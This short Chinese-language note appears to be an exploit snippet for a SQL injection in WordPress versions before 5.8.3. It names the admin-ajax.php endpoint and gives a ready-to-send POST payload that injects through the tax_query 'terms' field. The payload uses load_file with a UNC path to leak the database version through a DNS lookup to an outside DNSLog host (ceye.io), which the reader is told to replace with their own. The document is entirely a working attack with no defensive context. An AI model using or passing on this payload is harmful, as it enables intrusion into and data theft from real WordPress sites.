#version<5.8.3
路径:http://your target/wp-admin/admin-ajax.php
注入类型是带外(out-of-band),你需要自行指定DNSLog并替换ceye.io
POST- DATA:{"tax_query":[{"field":"term_taxonomy_id","terms":["1) and if((select load_file(concat('\\',(select version()),'.27s601.ceye.io\abc'))),1,1)-- a"]}]}